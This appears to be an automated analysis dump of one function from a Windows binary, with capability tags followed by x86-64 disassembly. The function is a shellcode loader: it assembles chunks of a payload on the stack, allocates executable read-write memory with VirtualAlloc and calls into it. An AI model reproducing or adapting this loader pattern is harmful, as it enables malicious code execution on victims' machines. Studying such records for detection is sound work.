Function at 0x140011302
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x140012be0
push rbp
push rsi
push rdi
sub rsp, 0xeb0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x284
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140021040]
xor rax, rbp
mov qword [rbp + 0xe88], rax
lea rcx, [0x140027101]
call fcn.140011447
lea rax, [rbp + 8]
lea rcx, [0x14001dca8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x38]
lea rcx, str.RQVH1
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x68]
lea rcx, [0x14001dcd8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x98]
lea rcx, [0x14001dcf0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc8]
lea rcx, [0x14001dd08]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xf8]
lea rcx, [0x14001dd20]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x128]
lea rcx, [0x14001dd38]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x158]
lea rcx, [0x14001dd50]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [0x14001dd68]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b8]
lea rcx, [0x14001dd80]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1e8]
lea rcx, [0x14001dd98]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x218]
lea rcx, [0x14001ddb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x248]
lea rcx, [0x14001ddc8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x278]
lea rcx, str.XAXYZAXAYAZH
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2a8]
lea rcx, [0x14001ddf8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2d8]
lea rcx, [0x14001de10]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x308]
lea rcx, [0x14001de28]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x338]
lea rcx, [0x14001de40]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x368]
lea rcx, [0x14001de58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x398]
lea rcx, [0x14001de70]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x3c8]
lea rcx, [0x14001de88]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x3f8]
lea rcx, [0x14001dea0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x428]
lea rcx, [0x14001deb8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x458]
lea rcx, [0x14001ded0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x488]
lea rcx, [0x14001dee8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4b8]
lea rcx, [0x14001df00]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4e8]
lea rcx, [0x14001df18]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x518]
lea rcx, [0x14001df30]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x548]
lea rcx, [0x14001df48]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x578]
lea rcx, [0x14001df60]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5a8]
lea rcx, [0x14001df78]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5d8]
lea rcx, [0x14001df90]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x608]
lea rcx, [0x14001dfa8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x638]
lea rcx, [0x14001dfc0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x668]
lea rcx, [0x14001dfd8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x698]
lea rcx, [0x14001dff0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x6c4]
lea rcx, [0x14001e004]
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x14001dc25]
mov byte [rbp + 0x6f0], al
lea rax, [rbp + 0x6f1]
mov rdi, rax
xor eax, eax
mov ecx, 0x2cf
rep stosb byte [rdi], al
mov qword [rbp + 0x9d8], 0
mov ecx, 0x5f5e100
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x9d8], rax
cmp qword [rbp + 0x9d8], 0
je 0x140013480
mov r8d, 0x5f5e100
xor edx, edx
mov rcx, qword [rbp + 0x9d8]
call fcn.140011361
lea rdx, str.__Agganciato_a_Powershell
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0xf
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x6f0]
call fcn.140011221
lea rax, [rbp + 0x6fe]
mov r8d, 0xf
lea rdx, [rbp + 0x38]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x70c]
mov r8d, 0xf
lea rdx, [rbp + 0x68]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x71a]
mov r8d, 0xf
lea rdx, [rbp + 0x98]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x728]
mov r8d, 0xf
lea rdx, [rbp + 0xc8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x736]
mov r8d, 0xf
lea rdx, [rbp + 0xf8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x744]
mov r8d, 0xf
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x752]
mov r8d, 0xf
lea rdx, [rbp + 0x158]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x760]
mov r8d, 0xf
lea rdx, [rbp + 0x188]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x76e]
mov r8d, 0xf
lea rdx, [rbp + 0x1b8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x77c]
mov r8d, 0xf
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x78a]
mov r8d, 0xf
lea rdx, [rbp + 0x218]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x798]
mov r8d, 0xf
lea rdx, [rbp + 0x248]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x7a6]
mov r8d, 0xf
lea rdx, [rbp + 0x278]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x7b4]
mov r8d, 0xf
lea rdx, [rbp + 0x2a8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x7c2]
mov r8d, 0xf
lea rdx, [rbp + 0x2d8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x7d0]
mov r8d, 0xf
lea rdx, [rbp + 0x308]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x7de]
mov r8d, 0xf
lea rdx, [rbp + 0x338]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x7ec]
mov r8d, 0xf
lea rdx, [rbp + 0x368]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x7fa]
mov r8d, 0xf
lea rdx, [rbp + 0x398]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x808]
mov r8d, 0xf
lea rdx, [rbp + 0x3c8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x816]
mov r8d, 0xf
lea rdx, [rbp + 0x3f8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x824]
mov r8d, 0xf
lea rdx, [rbp + 0x428]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x832]
mov r8d, 0xf
lea rdx, [rbp + 0x458]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x840]
mov r8d, 0xf
lea rdx, [rbp + 0x488]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x84e]
mov r8d, 0xf
lea rdx, [rbp + 0x4b8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x85c]
mov r8d, 0xf
lea rdx, [rbp + 0x4e8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x86a]
mov r8d, 0xf
lea rdx, [rbp + 0x518]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x878]
mov r8d, 0xf
lea rdx, [rbp + 0x548]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x886]
mov r8d, 0xf
lea rdx, [rbp + 0x578]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x894]
mov r8d, 0xf
lea rdx, [rbp + 0x5a8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x8a2]
mov r8d, 0xf
lea rdx, [rbp + 0x5d8]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x8b0]
mov r8d, 0xf
lea rdx, [rbp + 0x608]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x8be]
mov r8d, 0xf
lea rdx, [rbp + 0x638]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x8cc]
mov r8d, 0xf
lea rdx, [rbp + 0x668]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x8da]
mov r8d, 0xf
lea rdx, [rbp + 0x698]
mov rcx, rax
call fcn.140011221
lea rax, [rbp + 0x8e8]
mov r8d, 7
lea rdx, [rbp + 0x6c4]
mov rcx, rax
call fcn.140011221
jmp 0x140013488
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x2d0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x9f8], rax
mov r8d, 0x2d0
lea rdx, [rbp + 0x6f0]
mov rcx, qword [rbp + 0x9f8]
call fcn.140011221
call qword [rbp + 0x9f8]
mov rcx, qword [rbp + 0x9d8]
call qword [sym.imp.ucrtbased.dll_free]
jmp 0x1400134d8
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001d8b0]
call fcn.1400113bb
mov rax, rdi
mov rcx, qword [rbp + 0xe88]
xor rcx, rbp
call fcn.14001121c
lea rsp, [rbp + 0xe90]
pop rdi
pop rsi
pop rbp
ret